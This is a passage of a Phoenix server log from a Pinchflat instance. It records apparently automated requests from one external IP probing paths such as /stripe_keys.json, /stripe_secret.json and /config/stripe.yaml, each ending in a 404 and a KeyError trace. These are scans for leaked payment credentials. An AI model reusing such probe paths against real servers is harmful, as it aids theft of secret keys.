Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3378.0>, params: %{}, path_info: ["stripe_keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe_keys.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-tvjQ660r_gAAQWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3377.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_keys.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49998}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe_keys (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3377.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_keys.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49998}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3378.0>, params: %{}, path_info: ["stripe_keys"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.1 (truncated) 21:08:43.691 [info] GET /stripe_secret.json 21:08:43.691 [debug] QUERY OK source="settings" db=0.0ms idle=204.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.691 [debug] QUERY OK source="settings" db=0.0ms idle=131.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.691 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.691 [error] #PID<0.3380.0> running PinchflatWeb.Endpoint (connection #PID<0.3379.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe_secret.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3379.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_secret.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50004}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3380.0>, params: %{}, path_info: ["stripe_secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe_secret.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-t2uHo6IE2oAAQYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3379.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_secret.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50004}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe_secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3379.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_secret.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50004}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3380.0>, params: %{}, path_info: ["stripe_secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forw (truncated) 21:08:43.761 [info] GET /stripe_config.json 21:08:43.761 [debug] QUERY OK source="settings" db=0.0ms idle=201.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.761 [debug] QUERY OK source="settings" db=0.0ms idle=100.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.762 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.762 [error] #PID<0.3382.0> running PinchflatWeb.Endpoint (connection #PID<0.3381.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /stripe_config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe_config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3381.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_config.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50010}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3382.0>, params: %{}, path_info: ["stripe_config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/stripe_config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-uHcmeecY_IAAHKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3381.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_config.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50010}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe_config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3381.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe_config.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50010}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3382.0>, params: %{}, path_info: ["stripe_config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forw (truncated) 21:08:43.804 [info] GET /config/stripe.json 21:08:43.804 [debug] QUERY OK source="settings" db=0.2ms idle=142.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.804 [debug] QUERY OK source="settings" db=0.0ms idle=113.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.804 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:43.805 [error] #PID<0.3384.0> running PinchflatWeb.Endpoint (connection #PID<0.3383.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /config/stripe.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3383.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50016}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3384.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/config/stripe.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-uRoRucO61kAAHMC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3383.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50016}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/stripe (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3383.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/stripe.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50016}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3384.0>, params: %{}, path_info: ["config", "stripe"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {" (truncated) 21:08:43.810 [info] GET /config/stripe.yaml 21:08:43.810 [debug] QUERY OK source="settings" db=0.0ms idle=118.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:43.810 [debug] QUERY OK source="settings" db=0.0ms idle=48.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 